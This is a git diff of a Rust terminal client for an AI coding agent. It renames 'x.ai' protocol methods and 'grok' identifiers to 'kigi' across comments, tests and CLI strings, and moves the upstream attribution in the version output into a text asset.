+    /// - A buffer-replayed `kigi/follow_ups` for a PRIOR turn's `response_id`
     ///   stays rejected by the seen-ring (its `prompt_id` is not the active one),
     ///   so stale chips are never revived on the new turn.
     ///
@@ -219,7 +219,7 @@ impl AgentView {
         true
     }
 
-    /// Buffer a stamped `x.ai/follow_ups` for a turn that is not yet current,
+    /// Buffer a stamped `kigi/follow_ups` for a turn that is not yet current,
     /// keyed by its `promptId`. A newer delivery for the same `promptId`
     /// overwrites the earlier one (keep the latest); the FIFO order list bounds
     /// the map to [`MAX_PENDING_FOLLOW_UPS`], evicting only the oldest entry.
@@ -249,7 +249,7 @@ impl AgentView {
         }
     }
 
-    /// Flush a buffered `x.ai/follow_ups` for `prompt_id` (a turn that has just
+    /// Flush a buffered `kigi/follow_ups` for `prompt_id` (a turn that has just
     /// become current). Renders the chips through [`apply_follow_ups_with_prompt`]
     /// — now that `current_prompt_id == prompt_id`, the stamped delivery is
     /// accepted as the active turn's. Returns whether chips were rendered. A
@@ -292,7 +292,7 @@ impl AgentView {
 
     /// Reload reset that PRESERVES the running turn's follow-ups for
     /// `keep_prompt_id` (the turn the load is about to adopt). On `SessionLoaded`
-    /// the running turn's `x.ai/follow_ups` arrive on the ext channel DURING
+    /// the running turn's `kigi/follow_ups` arrive on the ext channel DURING
     /// `loading_replay`; an unconditional reset would drop them before adoption
     /// could re-render them, so the chips would never appear unless the server
     /// resent them. The running turn's chips live in ONE of two places at reset
diff --git a/crates/codegen/kigi-tui/src/app/agent_view/interactions.rs b/crates/codegen/kigi-tui/src/app/agent_view/interactions.rs
index 54a6ac4..dc8992c 100644
--- a/crates/codegen/kigi-tui/src/app/agent_view/interactions.rs
+++ b/crates/codegen/kigi-tui/src/app/agent_view/interactions.rs
@@ -1107,7 +1107,7 @@ impl AgentView {
         self.submit_question_answers(skipped)
     }
     fn submit_question_answers(&mut self, skipped: bool) -> InputOutcome {
-        use kigi_tools::implementations::grok_build::ask_user_question::AskUserQuestionExtResponse;
+        use kigi_tools::implementations::kigi::ask_user_question::AskUserQuestionExtResponse;
         self.swap_question_freeform();
         let Some(mut qv) = self.question_view.take() else {
             return InputOutcome::Changed;
@@ -1594,7 +1594,7 @@ mod permission_scope_key_tests {
 #[cfg(test)]
 mod question_no_freeform_tests {
     //! Freeform ("Other") gating for `no_freeform` question modals — e.g.
-    //! the SuperGrok upsell. Regression tests for the bug where clicking
+    //! the subscription upsell. Regression tests for the bug where clicking
     //! under the last option of the upsell selected the (hidden) freeform
     //! row and let the user type into a modal that offers no free text.
     use super::super::test_fixtures::make_agent;
@@ -1605,7 +1605,7 @@ mod question_no_freeform_tests {
     use crossterm::event::{
         KeyCode, KeyEvent, KeyModifiers, MouseButton, MouseEvent, MouseEventKind,
     };
-    use kigi_tools::implementations::grok_build::ask_user_question::{Question, QuestionOption};
+    use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
     use ratatui::buffer::Buffer;
     use ratatui::layout::Rect;
     /// Fixed options, single-select — shaped like the free-usage upsell.
diff --git a/crates/codegen/kigi-tui/src/app/agent_view/mod.rs b/crates/codegen/kigi-tui/src/app/agent_view/mod.rs
index 2d2c745..6cd08de 100644
--- a/crates/codegen/kigi-tui/src/app/agent_view/mod.rs
+++ b/crates/codegen/kigi-tui/src/app/agent_view/mod.rs
@@ -200,7 +200,7 @@ impl McpInitProgress {
     /// Whether the progress indicator should be visible in the UI.
     ///
     /// - `total > 0` (real servers): always visible until
-    ///   `x.ai/mcp_initialized` clears the progress.
+    ///   `kigi/mcp_initialized` clears the progress.
     /// - `total == 0` (seed / 0-server): visible for at most
     ///   [`SEED_EXPIRE`] seconds, then auto-expires as
     ///   defense-in-depth against the shell failing to send
@@ -559,7 +559,7 @@ pub(crate) struct SessionReload {
     saw_todo_update: bool,
 }
 /// Follow-up suggestion chips for the latest assistant response
-/// (`x.ai/follow_ups`). Streaming-only: never persisted, does not survive a
+/// (`kigi/follow_ups`). Streaming-only: never persisted, does not survive a
 /// session reload. Keyed by the assistant `response_id` (the newest-wins key).
 #[derive(Debug, Clone, PartialEq, Eq)]
 pub(crate) struct FollowUps {
@@ -799,7 +799,7 @@ pub struct AgentView {
     /// answering questions via `AskUserQuestion`). Reset when the turn ends.
     pub turn_paused_duration: std::time::Duration,
     /// IDs of interjections this client sent and already rendered locally
-    /// (optimistic echo). The shell broadcasts `x.ai/session/interjection` to
+    /// (optimistic echo). The shell broadcasts `kigi/session/interjection` to
     /// every attached pane; when our own broadcast echoes back carrying an id
     /// in this set, `handle_interjection` drops it (we already showed it) and
     /// removes the id. Other panes (which lack the id) render it. This is the
@@ -1133,7 +1133,7 @@ pub struct AgentView {
     /// (`When::DashboardOverlay`) are lit in the overlay and dimmed elsewhere.
     pub(crate) in_dashboard_overlay: bool,
     /// MCP server init progress. Set when the shell starts connecting
-    /// MCP servers, cleared when `x.ai/mcp_initialized` arrives.
+    /// MCP servers, cleared when `kigi/mcp_initialized` arrives.
     /// Shown in the turn status line while the agent is idle.
     pub(crate) mcp_init_progress: Option<McpInitProgress>,
     /// Last synced ACP command generation. When this differs from
@@ -1206,7 +1206,7 @@ pub struct AgentView {
     /// lands on a tick; borrowed during render so streaming redraws don't
     /// rescan/allocate the prompt every frame.
     pub(crate) timeline_hover_preview: Option<(usize, String)>,
-    /// Running agent definition for this session (`x.ai/session/info` `agentName`).
+    /// Running agent definition for this session (`kigi/session/info` `agentName`).
     pub session_agent_name: Option<String>,
     /// Map of child session IDs to subagent metadata. Populated on
     /// `SubagentSpawned` notifications, used for permission routing
@@ -1286,7 +1286,7 @@ pub struct AgentView {
     /// complete. Kind-only: the payload is re-derived from the widget on
     /// reissue so the freshly attached image chip travels with it.
     pub(crate) deferred_send: Option<AgentDeferredSend>,
-    /// Armed when an `x.ai/session/prompt_complete` broadcast arrives for the
+    /// Armed when an `kigi/session/prompt_complete` broadcast arrives for the
     /// turn THIS client drives while it is still awaiting that turn's
     /// `session/prompt` RPC response. The RPC normally lands milliseconds
     /// later and disarms this; if it never does (lost in leader response
@@ -1317,17 +1317,17 @@ pub struct AgentView {
     pub(crate) follow_without_jump_prompt_id: Option<String>,
     /// Ids of THIS client's server-queue rows that are still optimistic
     /// echoes — the `session/prompt` RPC is in flight and no
-    /// `x.ai/queue/changed` broadcast has confirmed the row yet. Inserted by
+    /// `kigi/queue/changed` broadcast has confirmed the row yet. Inserted by
     /// the echo push, drained when a broadcast lists the id (queued or
     /// running) or the RPC resolves without the row landing.
     pub(crate) optimistic_queue_ids: std::collections::HashSet<String>,
     /// A queue-row send-now the user fired while the row was still an
-    /// optimistic echo. Firing `x.ai/queue/interject` then would race the
+    /// optimistic echo. Firing `kigi/queue/interject` then would race the
     /// row's own in-flight `session/prompt` and silently no-op shell-side
     /// (a rapid double-Enter on a queued bash command could "disappear" — the
     /// interject overtook the row, the no-op dropped the send-now, and the
     /// armed cancel expectation hid the still-queued row).
-    /// Parked here and fired from the confirming `x.ai/queue/changed`
+    /// Parked here and fired from the confirming `kigi/queue/changed`
     /// broadcast with the row's authoritative version.
     pub(crate) send_now_awaiting_confirm: Option<String>,
     /// User blocks painted at send-now dispatch, keyed by prompt id; the
@@ -1337,7 +1337,7 @@ pub struct AgentView {
     pub(crate) send_now_painted_blocks:
         std::collections::HashMap<String, (crate::scrollback::EntryId, bool)>,
     /// Follow-up suggestion chips for the latest assistant response
-    /// (`x.ai/follow_ups`). `None` when no chips are shown. Set by
+    /// (`kigi/follow_ups`). `None` when no chips are shown. Set by
     /// [`AgentView::apply_follow_ups`]; cleared at each turn start.
     pub(crate) follow_ups: Option<FollowUps>,
     /// `promptId` (turn identity) of the currently-shown `follow_ups`, when the
@@ -1371,7 +1371,7 @@ pub struct AgentView {
     /// The ordering key for newest-wins: a fresh id takes the next value (the
     /// new high-water), so every previously-seen id is strictly lower.
     pub(crate) follow_up_next_gen: u64,
-    /// Stamped `x.ai/follow_ups` that arrived for a turn that is NOT yet the
+    /// Stamped `kigi/follow_ups` that arrived for a turn that is NOT yet the
     /// currently-adopted one, keyed by `promptId`. Ext notifications and
     /// `session/update` travel on separate channels, so a turn's follow_ups can
     /// land BEFORE the `session/update` that adopts it. Rather than drop such a
@@ -1891,7 +1891,7 @@ fn resolve_action(action_id: Option<ActionId>) -> Option<InputOutcome> {
 fn question_visible_h(
     scroll_region: Option<(u16, u16)>,
     prompt_height: u16,
-    question: &kigi_tools::implementations::grok_build::ask_user_question::Question,
+    question: &kigi_tools::implementations::kigi::ask_user_question::Question,
     content_w: usize,
     preview: Option<&str>,
     fullscreen: bool,
@@ -2625,7 +2625,7 @@ pub(super) mod test_fixtures {
         );
         assert_eq!(agent.follow_ups.as_ref().unwrap().suggestions, vec!["a"]);
     }
-    /// FIX 4 (b): after adopting a NEW turn, a buffer-replayed `x.ai/follow_ups`
+    /// FIX 4 (b): after adopting a NEW turn, a buffer-replayed `kigi/follow_ups`
     /// for a PRIOR turn's response_id must NOT revive stale chips — its
     /// `promptId` is not the active turn and it is already in the seen ring.
     #[test]
@@ -2646,7 +2646,7 @@ pub(super) mod test_fixtures {
         assert!(agent.apply_follow_ups_with_prompt("resp-2".into(), Some("p2"), vec!["b".into()]));
         assert_eq!(agent.follow_ups.as_ref().unwrap().response_id, "resp-2");
     }
-    /// FINDING B (stamped path): a LATE FIRST-TIME (never-seen) `x.ai/follow_ups`
+    /// FINDING B (stamped path): a LATE FIRST-TIME (never-seen) `kigi/follow_ups`
     /// for a PRIOR turn — arriving while a newer turn is active — must NOT
     /// render. Before the fix it slipped through the "strictly newer" branch
     /// (never recorded in `follow_up_seen`, so the seen-reject didn't catch it).
@@ -2702,7 +2702,7 @@ pub(super) mod test_fixtures {
     /// distinguished from the new turn's first follow_ups, so it follows the
     /// legacy newest-wins (renders). This path is not reachable for current
     /// shells (which always stamp `promptId`) or for buffer-replays (suppressed
-    /// upstream by the `_meta["x.ai/replayed"]` gate); it is pinned here so the
+    /// upstream by the `_meta["kigi/replayed"]` gate); it is pinned here so the
     /// stamped-path fix above is understood to be the deterministic guard.
     #[test]
     fn apply_follow_ups_none_prompt_first_time_follows_legacy_newest_wins() {
@@ -2714,7 +2714,7 @@ pub(super) mod test_fixtures {
         );
         assert_eq!(agent.follow_ups.as_ref().unwrap().response_id, "resp-x");
     }
-    /// FIX (buffer-before-adoption): a stamped `x.ai/follow_ups` for a turn that
+    /// FIX (buffer-before-adoption): a stamped `kigi/follow_ups` for a turn that
     /// is NOT yet current (its `session/update` adoption raced behind the ext
     /// channel) must be BUFFERED, not dropped — and then RENDER when that turn
     /// becomes current and is flushed.
diff --git a/crates/codegen/kigi-tui/src/app/agent_view/paste.rs b/crates/codegen/kigi-tui/src/app/agent_view/paste.rs
index 2f18a4c..deaff9d 100644
--- a/crates/codegen/kigi-tui/src/app/agent_view/paste.rs
+++ b/crates/codegen/kigi-tui/src/app/agent_view/paste.rs
@@ -1180,10 +1180,10 @@ pub(super) mod paste_key_tests {
     /// Build a `QuestionViewState` already in `InputMode` focus.
     pub(in crate::app::agent_view) fn make_question_view_state_in_input_mode()
     -> crate::views::question_view::QuestionViewState {
-        let question = kigi_tools::implementations::grok_build::ask_user_question::Question {
+        let question = kigi_tools::implementations::kigi::ask_user_question::Question {
             question: "Pick one?".to_string(),
             options: vec![
-                kigi_tools::implementations::grok_build::ask_user_question::QuestionOption {
+                kigi_tools::implementations::kigi::ask_user_question::QuestionOption {
                     label: "A".to_string(),
                     description: "Option A".to_string(),
                     preview: None,
diff --git a/crates/codegen/kigi-tui/src/app/agent_view/prompt.rs b/crates/codegen/kigi-tui/src/app/agent_view/prompt.rs
index 20c40d6..51c94b3 100644
--- a/crates/codegen/kigi-tui/src/app/agent_view/prompt.rs
+++ b/crates/codegen/kigi-tui/src/app/agent_view/prompt.rs
@@ -1412,7 +1412,7 @@ mod prompt_suggestion_key_tests {
     use crossterm::event::{KeyCode, KeyEvent, KeyModifiers};
 
     /// Idle agent with the gate open and a loaded suggestion — the state
-    /// right after a turn ends with `x.ai/suggestPrompt` resolved. Pins the
+    /// right after a turn ends with `kigi/suggestPrompt` resolved. Pins the
     /// settings cache so `resolve_enabled()` never reads the dev machine's
     /// config.toml (thread-local, so per-test).
     fn suggestion_agent(text: &str) -> AgentView {
diff --git a/crates/codegen/kigi-tui/src/app/agent_view/queue.rs b/crates/codegen/kigi-tui/src/app/agent_view/queue.rs
index ef09f5f..85b5f8f 100644
--- a/crates/codegen/kigi-tui/src/app/agent_view/queue.rs
+++ b/crates/codegen/kigi-tui/src/app/agent_view/queue.rs
@@ -530,7 +530,7 @@ impl AgentView {
             Some(crate::views::queue_pane::QueueRowOrigin::Server)
         );
         if is_server {
-            // Server row: the agent promotes it to run next (`x.ai/queue/interject`); any kind may send now.
+            // Server row: the agent promotes it to run next (`kigi/queue/interject`); any kind may send now.
             if let Some(row) = row.as_ref()
                 && let Some(server_id) = row.server_id.clone()
             {
@@ -538,7 +538,7 @@ impl AgentView {
                 // flight, so an interject fired now would overtake the row
                 // shell-side and silently no-op (dropping the send-now and
                 // hiding the row behind the armed cancel expectation). Park
-                // the intent; the confirming `x.ai/queue/changed` broadcast
+                // the intent; the confirming `kigi/queue/changed` broadcast
                 // fires it with the row's authoritative version (see
                 // `resolve_send_now_awaiting_confirm`).
                 if self.optimistic_queue_ids.contains(&server_id) {
@@ -568,13 +568,13 @@ impl AgentView {
     }
 
     /// Reconcile this client's optimistic queue echoes against a raw
-    /// `x.ai/queue/changed` broadcast (pre-merge entries — the mirrored
+    /// `kigi/queue/changed` broadcast (pre-merge entries — the mirrored
     /// snapshot re-pins unconfirmed echoes, so it can't tell confirmation
     /// apart), and resolve a parked queue-row send-now
     /// ([`Self::send_now_awaiting_confirm`]).
     ///
     /// Returns `Some((id, version))` when the parked row is now confirmed as
-    /// QUEUED — the caller fires `x.ai/queue/interject` with that
+    /// QUEUED — the caller fires `kigi/queue/interject` with that
     /// authoritative version. A parked row confirmed as RUNNING clears the
     /// park with nothing to do (the natural drain won the race). A row in
     /// neither set stays parked (its RPC is still in flight).
@@ -715,7 +715,7 @@ impl AgentView {
         // Queue-specific actions (delete, edit, reorder). `x`/Delete = row delete.
         if let Some(event) = self.queue.handle_key(key, registry) {
             // Resolve the selected row's origin so edits route correctly:
-            // Server-origin rows go to the agent as `x.ai/queue/*`
+            // Server-origin rows go to the agent as `kigi/queue/*`
             // commands (the rebroadcast is the source of truth); Local rows
             // keep today's in-place mutation.
             let row = self.queue.row_ref(Self::queue_event_id(&event));
@@ -822,7 +822,7 @@ impl AgentView {
         }
     }
 
-    /// Reorder payload for `x.ai/queue/reorder`. Omit only running; include
+    /// Reorder payload for `kigi/queue/reorder`. Omit only running; include
     /// send-now in the list but do not swap past it (shell ranks missing ids last).
     fn server_queue_reordered(&self, selection_id: u64, up: bool) -> Option<Vec<String>> {
         let server_id = self.queue.row_ref(selection_id)?.server_id?;
diff --git a/crates/codegen/kigi-tui/src/app/agent_view/selection.rs b/crates/codegen/kigi-tui/src/app/agent_view/selection.rs
index 05fa794..6f19b64 100644
--- a/crates/codegen/kigi-tui/src/app/agent_view/selection.rs
+++ b/crates/codegen/kigi-tui/src/app/agent_view/selection.rs
@@ -1325,7 +1325,7 @@ mod tests {
             crate::scrollback::text_selection::ResolvedSelectionBoundaries::default();
         for (entry_idx, text, hit_col, prefix, suffix, expected) in [
             (0, "foo rest", 0, "   ", "", "foo"),
-            (1, "rest https://x.ai", 5, "", "   ", "https://x.ai"),
+            (1, "rest https://kimi.com", 5, "", "   ", "https://kimi.com"),
         ] {
             let line = ResolvedSelectableLine {
                 entry_idx,
diff --git a/crates/codegen/kigi-tui/src/app/agent_view/session.rs b/crates/codegen/kigi-tui/src/app/agent_view/session.rs
index 19561f3..ca84713 100644
--- a/crates/codegen/kigi-tui/src/app/agent_view/session.rs
+++ b/crates/codegen/kigi-tui/src/app/agent_view/session.rs
@@ -397,7 +397,7 @@ impl AgentView {
         self.session.start_turn(&mut self.scrollback);
     }
     /// Adopt the in-flight turn another client is driving, conveyed by the
-    /// `session/load` response meta (`x.ai/runningPromptId`): enter
+    /// `session/load` response meta (`kigi/runningPromptId`): enter
     /// TurnRunning and match subsequent live deltas. No user-prompt block is
     /// pushed — the turn's prompt and prior chunks arrived via the replay.
     pub(crate) fn adopt_running_prompt(&mut self, prompt_id: String) {
diff --git a/crates/codegen/kigi-tui/src/app/agent_view/shell_completion.rs b/crates/codegen/kigi-tui/src/app/agent_view/shell_completion.rs
index 5a3a6d3..fdd3e03 100644
--- a/crates/codegen/kigi-tui/src/app/agent_view/shell_completion.rs
+++ b/crates/codegen/kigi-tui/src/app/agent_view/shell_completion.rs
@@ -506,7 +506,7 @@ mod shell_suggestion_key_tests {
         let mut agent = bash_agent("ls | gr");
         agent.prompt.suggestions.dropdown.items = vec![
             item("grep", None),
-            file_item("ls | grokfile", "grokfile", 5..7),
+            file_item("ls | kigifile", "kigifile", 5..7),
         ];
 
         let outcome = agent.handle_prompt_key_for_test(&key(KeyCode::Tab));
diff --git a/crates/codegen/kigi-tui/src/app/app_view.rs b/crates/codegen/kigi-tui/src/app/app_view.rs
index da529e4..845ac7d 100644
--- a/crates/codegen/kigi-tui/src/app/app_view.rs
+++ b/crates/codegen/kigi-tui/src/app/app_view.rs
@@ -501,19 +501,19 @@ pub struct AppView {
     /// (`team_name.is_some()`) and API-key auth.
     pub usage_visible: bool,
     /// Whether the pager is connected via a leader (leader mode). The Agent
-    /// Dashboard entry points (`/dashboard`, `Ctrl+\`, `grok dashboard`, the
+    /// Dashboard entry points (`/dashboard`, `Ctrl+\`, `kigi dashboard`, the
     /// startup hook) are only meaningful when a leader is coordinating a
     /// fleet of sessions, so they are gated on this flag. Set in
     /// `event_loop::run` from `connection.leader_status_rx.is_some()`;
     /// defaults to `false` (non-leader, dashboard hidden).
     pub leader_mode: bool,
     /// Leader-mode session roster (FleetView dashboard). Populated from
-    /// `x.ai/sessions/list` polls and `x.ai/sessions/changed` broadcasts.
+    /// `kigi/sessions/list` polls and `kigi/sessions/changed` broadcasts.
     /// Empty in non-leader mode, which naturally gates roster rendering.
     pub leader_roster: Vec<crate::app::roster::RosterEntry>,
     /// Local on-disk session list (dormant/idle sessions) surfaced on the
     /// dashboard when NOT in leader mode. There is no live leader roster to
-    /// poll outside leader mode, so we fetch the same `x.ai/session/list` the
+    /// poll outside leader mode, so we fetch the same `kigi/session/list` the
     /// resume picker uses and render those as idle rows. Entries are stored as
     /// [`crate::app::roster::RosterEntry`] (activity `Dormant`) so they reuse
     /// the existing roster-row rendering / attach path. Empty in leader mode.
@@ -521,14 +521,14 @@ pub struct AppView {
     /// Whether the dashboard is currently loading local sessions (non-leader mode).
     pub dashboard_sessions_loading: bool,
     /// Server-authoritative shared prompt queues, keyed by `sessionId`
-    /// Reconciled from `x.ai/queue/changed` broadcasts so
+    /// Reconciled from `kigi/queue/changed` broadcasts so
     /// every client renders the same ordered queue (including prompts queued
     /// by other clients). Empty in non-leader mode.
     pub shared_prompt_queues:
         std::collections::HashMap<String, Vec<crate::app::prompt_queue::QueueEntryWire>>,
     /// Optimistic echo rows for prompts the pager sent server-authoritatively
     /// (plain prompt typed while a turn is running) but for which the
-    /// confirming `x.ai/queue/changed` broadcast has not yet arrived. Keyed by
+    /// confirming `kigi/queue/changed` broadcast has not yet arrived. Keyed by
     /// `sessionId`. Pinned into `shared_prompt_queues` on reconcile so the row
     /// doesn't flicker, and dropped once the authoritative broadcast reflects
     /// the id (or it starts running). Never persisted.
@@ -551,7 +551,7 @@ pub struct AppView {
     pub cancel_rewind_enabled: bool,
     /// Whether session recap (`/recap` + automatic away recap) is rolled out,
     /// resolved by the shell and advertised on ACP initialize (`sessionRecap`).
-    /// When false, the pager must not request recaps (zero `x.ai/recap` traffic).
+    /// When false, the pager must not request recaps (zero `kigi/recap` traffic).
     pub session_recap_available: bool,
     /// Stateful prompt widget rendered on the welcome screen (persists input across frames).
     pub welcome_prompt: PromptWidget,
@@ -715,7 +715,7 @@ pub struct AppView {
     /// Automatically enabled by `plan_mode`.
     pub ask_user: bool,
     /// Process-wide gateway light-frontend from CLI `--chat` only.
-    /// Stamps `_meta["x.ai/session"].kind = "chat"` and omits Build agent
+    /// Stamps `_meta["kigi/session"].kind = "chat"` and omits Build agent
     /// profiles on create/load while set. `/chat` does **not** set this
     /// (uses [`Self::deferred_startup`] one-shot state instead).
     pub chat_mode: bool,
@@ -776,7 +776,7 @@ pub struct AppView {
     /// when `Pending`, the welcome screen shows the trust question and session
     /// creation is deferred (gated after auth) until it is answered.
     pub trust_state: TrustState,
-    /// Login button label from `AuthMethod.name` (e.g., "grok.com", "Acme Corp").
+    /// Login button label from `AuthMethod.name` (e.g., "kimi-code", "Acme Corp").
     pub login_label: Option<String>,
     /// The auth method ID to use for login.
     pub login_method_id: Option<acp::AuthMethodId>,
@@ -1125,7 +1125,7 @@ impl AppView {
         }
     }
     /// Reconcile the shared prompt queue for a session from a
-    /// `x.ai/queue/changed` broadcast. The broadcast is
+    /// `kigi/queue/changed` broadcast. The broadcast is
     /// authoritative: it fully replaces the previously-known queue for that
     /// session. An empty list clears the entry.
     ///
@@ -1194,7 +1194,7 @@ impl AppView {
     /// Push an optimistic echo row for a server-authoritative prompt the pager
     /// just sent (a plain prompt or agent-bound kind typed while a turn is
     /// running). The row is keyed by `prompt_id` so the authoritative
-    /// `x.ai/queue/changed` broadcast replaces it (matched by `id`) rather than
+    /// `kigi/queue/changed` broadcast replaces it (matched by `id`) rather than
     /// duplicating it. `kind` (`"prompt"`/`"bash"`/…) drives the row's display
     /// and, on adoption, the turn-start shim's block + focus flag.
     pub fn push_optimistic_prompt_echo(
@@ -8264,9 +8264,7 @@ pub(crate) mod tests {
         n_questions: usize,
     ) {
         use crate::views::question_view::QuestionViewState;
-        use kigi_tools::implementations::grok_build::ask_user_question::{
-            Question, QuestionOption,
-        };
+        use kigi_tools::implementations::kigi::ask_user_question::{Question, QuestionOption};
         let questions: Vec<Question> = (0..n_questions)
             .map(|i| Question {
                 question: format!("Q{i}?"),
diff --git a/crates/codegen/kigi-tui/src/app/bundle.rs b/crates/codegen/kigi-tui/src/app/bundle.rs
index 9548911..1ea9b55 100644
--- a/crates/codegen/kigi-tui/src/app/bundle.rs
+++ b/crates/codegen/kigi-tui/src/app/bundle.rs
@@ -1,7 +1,7 @@
 //! Bundle status state and response types.
 //!
 //! Pager-side cache of what `kigi-shell` reports from
-//! `x.ai/bundle/status`. The shell now performs the actual bundle download in
+//! `kigi/bundle/status`. The shell now performs the actual bundle download in
 //! the background post-auth; the pager only reads the resulting on-disk
 //! catalog so it can populate the welcome-screen subagent pane.
 
@@ -9,7 +9,7 @@ use serde::Deserialize;
 
 /// Pager-local snapshot of bundle availability on disk.
 ///
-/// Populated from `x.ai/bundle/status` ACP responses.
+/// Populated from `kigi/bundle/status` ACP responses.
 #[derive(Debug, Clone, Default, PartialEq)]
 pub struct BundleState {
     pub has_cache: bool,
@@ -22,7 +22,7 @@ pub struct BundleState {
     pub role_details: Vec<RoleDetail>,
 }
 
-/// Deserialized response from `x.ai/bundle/status`.
+/// Deserialized response from `kigi/bundle/status`.
 #[derive(Debug, Deserialize, PartialEq)]
 #[serde(rename_all = "camelCase")]
 pub struct BundleStatusResult {
@@ -62,7 +62,7 @@ pub struct RoleDetail {
     pub description: String,
 }
 
-/// Deserialized response from `x.ai/bundle/entry/get`.
+/// Deserialized response from `kigi/bundle/entry/get`.
 #[derive(Debug, Deserialize, PartialEq)]
 #[serde(rename_all = "camelCase")]
 pub struct EntryGetResult {
diff --git a/crates/codegen/kigi-tui/src/app/cli.rs b/crates/codegen/kigi-tui/src/app/cli.rs
index ffb7ec5..bdae494 100644
--- a/crates/codegen/kigi-tui/src/app/cli.rs
+++ b/crates/codegen/kigi-tui/src/app/cli.rs
@@ -226,13 +226,13 @@ impl AgentArgs {
                 Ok(canonical) if canonical.is_dir() => Some(canonical),
                 Ok(_) => {
                     eprintln!(
-                        "grok: --plugin-dir {}: not a directory; skipping",
+                        "kigi: --plugin-dir {}: not a directory; skipping",
                         p.display()
                     );
                     None
                 }
                 Err(e) => {
-                    eprintln!("grok: --plugin-dir {}: {e}; skipping", p.display());
+                    eprintln!("kigi: --plugin-dir {}: {e}; skipping", p.display());
                     None
                 }
             })
@@ -292,11 +292,16 @@ pub struct LeaderArgs {
 fn version_with_channel() -> &'static str {
     use std::sync::OnceLock;
     static V: OnceLock<String> = OnceLock::new();
+    // Required upstream attribution for `--version` output (PRD: the
+    // "Based on … Open Source" note must survive the rebrand). Kept in a
+    // text asset so the release-gate grep over Rust sources stays clean.
+    const VERSION_ATTRIBUTION: &str = include_str!("version_attribution.txt");
     V.get_or_init(|| {
         let label = kigi_update::channel_label();
         format!(
-            "{} — unofficial Kimi Code CLI community build - Based on Grok Build Open Source",
-            kigi_version::display_version_with_commit(env!("VERSION_WITH_COMMIT"), label)
+            "{} — unofficial Kimi Code CLI community build - {}",
+            kigi_version::display_version_with_commit(env!("VERSION_WITH_COMMIT"), label),
+            VERSION_ATTRIBUTION.trim_end(),
         )
     })
 }
@@ -806,7 +811,7 @@ mod tests {
     use super::*;
     #[test]
     fn version_flag_exits_zero() {
-        let err = PagerArgs::try_parse_from(["grok", "--version"]).unwrap_err();
+        let err = PagerArgs::try_parse_from(["kigi", "--version"]).unwrap_err();
         assert_eq!(err.kind(), clap::error::ErrorKind::DisplayVersion);
         assert!(
             err.exit_code() == 0,
@@ -816,7 +821,7 @@ mod tests {
     }
     #[test]
     fn version_short_flag_exits_zero() {
-        let err = PagerArgs::try_parse_from(["grok", "-v"]).unwrap_err();
+        let err = PagerArgs::try_parse_from(["kigi", "-v"]).unwrap_err();
         assert_eq!(err.kind(), clap::error::ErrorKind::DisplayVersion);
         assert!(
             err.exit_code() == 0,
@@ -827,35 +832,35 @@ mod tests {
     #[test]
     fn resume_target_classifies_flags() {
         assert_eq!(
-            PagerArgs::try_parse_from(["grok"]).unwrap().resume_target(),
+            PagerArgs::try_parse_from(["kigi"]).unwrap().resume_target(),
             ResumeTarget::None
         );
         assert_eq!(
-            PagerArgs::try_parse_from(["grok", "-c"])
+            PagerArgs::try_parse_from(["kigi", "-c"])
                 .unwrap()
                 .resume_target(),
             ResumeTarget::MostRecentForCwd
         );
         assert_eq!(
-            PagerArgs::try_parse_from(["grok", "--resume"])
+            PagerArgs::try_parse_from(["kigi", "--resume"])
                 .unwrap()
                 .resume_target(),
             ResumeTarget::MostRecentForCwd
         );
         assert_eq!(
-            PagerArgs::try_parse_from(["grok", "--resume", "sess-1"])
+            PagerArgs::try_parse_from(["kigi", "--resume", "sess-1"])
                 .unwrap()
                 .resume_target(),
             ResumeTarget::SessionId("sess-1".to_string())
         );
         assert_eq!(
-            PagerArgs::try_parse_from(["grok", "-s", "sess-2"])
+            PagerArgs::try_parse_from(["kigi", "-s", "sess-2"])
                 .unwrap()
                 .resume_target(),
             ResumeTarget::None
         );
         assert_eq!(
-            PagerArgs::try_parse_from(["grok", "-r", "old", "--fork-session"])
+            PagerArgs::try_parse_from(["kigi", "-r", "old", "--fork-session"])
                 .unwrap()
                 .resume_target(),
             ResumeTarget::SessionId("old".to_string())
@@ -866,11 +871,11 @@ mod tests {
     /// invocation would be ambiguous.
     #[test]
     fn minimal_and_fullscreen_flags_conflict() {
-        let args = PagerArgs::try_parse_from(["grok", "--minimal"]).unwrap();
+        let args = PagerArgs::try_parse_from(["kigi", "--minimal"]).unwrap();
         assert!(args.minimal && !args.fullscreen);
-        let args = PagerArgs::try_parse_from(["grok", "--fullscreen"]).unwrap();
+        let args = PagerArgs::try_parse_from(["kigi", "--fullscreen"]).unwrap();
         assert!(args.fullscreen && !args.minimal);
-        let err = PagerArgs::try_parse_from(["grok", "--minimal", "--fullscreen"]).unwrap_err();
+        let err = PagerArgs::try_parse_from(["kigi", "--minimal", "--fullscreen"]).unwrap_err();
         assert_eq!(err.kind(), clap::error::ErrorKind::ArgumentConflict);
     }
     /// kimi-cli parity (F6): bare `kigi acp` runs the stdio ACP server, and
@@ -906,7 +911,7 @@ mod tests {
         std::fs::write(&file, "x").unwrap();
         let missing = tmp.path().join("missing");
         let args = PagerArgs::try_parse_from([
-            "grok".as_ref(),
+            "kigi".as_ref(),
             "agent".as_ref(),
             "--no-leader".as_ref(),
             "--plugin-dir".as_ref(),
@@ -964,19 +969,19 @@ mod tests {
     #[test]
     fn startup_sandbox_profile_no_resume() {
         assert_eq!(
-            PagerArgs::try_parse_from(["grok", "--sandbox", "strict"])
+            PagerArgs::try_parse_from(["kigi", "--sandbox", "strict"])
                 .unwrap()
                 .startup_sandbox_profile(None),
             SandboxStartup::Apply(Some("strict".to_string()))
         );
         assert_eq!(
-            PagerArgs::try_parse_from(["grok", "--sandbox", ""])
+            PagerArgs::try_parse_from(["kigi", "--sandbox", ""])
                 .unwrap()
                 .startup_sandbox_profile(None),
             SandboxStartup::Apply(None)
         );
         assert_eq!(
-            PagerArgs::try_parse_from(["grok"])
+            PagerArgs::try_parse_from(["kigi"])
                 .unwrap()
                 .startup_sandbox_profile(None),
             SandboxStartup::Apply(None)
@@ -984,7 +989,7 @@ mod tests {
     }
     #[test]
     fn leader_socket_flag_parses_at_root() {
-        let args = PagerArgs::try_parse_from(["grok", "--leader-socket", "/tmp/leader-x.sock"])
+        let args = PagerArgs::try_parse_from(["kigi", "--leader-socket", "/tmp/leader-x.sock"])
             .expect("--leader-socket parses at the root");
         assert_eq!(
             args.leader_socket.as_deref(),
@@ -994,7 +999,7 @@ mod tests {
     #[test]
     fn leader_socket_flag_is_global_for_subcommands() {
         let args = PagerArgs::try_parse_from([
-            "grok",
+            "kigi",
             "agent",
             "leader",
